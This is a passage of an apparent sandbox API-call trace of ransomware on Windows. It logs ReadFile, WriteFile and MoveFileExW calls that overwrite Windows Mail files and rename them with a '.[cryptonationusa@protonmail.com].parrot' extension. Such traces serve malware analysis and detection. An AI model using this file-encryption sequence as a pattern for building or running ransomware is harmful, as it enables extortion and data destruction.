SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.448] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0086.490] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.490] WriteFile (in: hFile=0x284, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0086.500] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.500] WriteFile (in: hFile=0x284, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0086.506] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x200118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.506] CloseHandle (hObject=0x284) returned 1 [0086.581] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd50 | out: hHeap=0x5b0000) returned 1 [0086.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0086.590] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.590] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0086.591] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.591] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x104, lpOverlapped=0x0) returned 1 [0086.591] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.592] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d648 | out: hHeap=0x5b0000) returned 1 [0086.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179cb8 | out: hHeap=0x5b0000) returned 1 [0086.596] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0086.598] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.598] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.599] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.599] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.599] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0086.599] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.599] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.600] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.600] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xff, lpOverlapped=0x0) returned 1 [0086.600] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.601] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd50 | out: hHeap=0x5b0000) returned 1 [0086.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.607] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.608] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.610] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.610] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x432, lpOverlapped=0x0) returned 1 [0086.610] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.610] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd50 | out: hHeap=0x5b0000) returned 1 [0086.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211498 | out: hHeap=0x5b0000) returned 1 [0086.613] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.613] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.614] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.614] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xe7, lpOverlapped=0x0) returned 1 [0086.614] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.615] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.625] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.625] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.627] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.627] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5d3f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x5d3f, lpOverlapped=0x0) returned 1 [0086.640] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.641] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0086.644] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.644] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.645] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.645] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xed, lpOverlapped=0x0) returned 1 [0086.646] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.646] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.653] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.653] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.655] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.655] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1906, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x1906, lpOverlapped=0x0) returned 1 [0086.656] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.656] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2212090 | out: hHeap=0x5b0000) returned 1 [0086.659] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.659] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.660] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.660] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xeb, lpOverlapped=0x0) returned 1 [0086.661] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.661] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.664] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.664] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.665] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.665] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x107e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x107e, lpOverlapped=0x0) returned 1 [0086.666] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.667] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2212090 | out: hHeap=0x5b0000) returned 1 [0086.670] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.670] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.671] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.671] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xed, lpOverlapped=0x0) returned 1 [0086.671] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.671] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0086.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.680] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.682] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.687] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.687] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18ed, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x18ed, lpOverlapped=0x0) returned 1 [0086.688] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.689] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2212090 | out: hHeap=0x5b0000) returned 1 [0086.692] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.692] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.693] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.693] ReadFile (in: 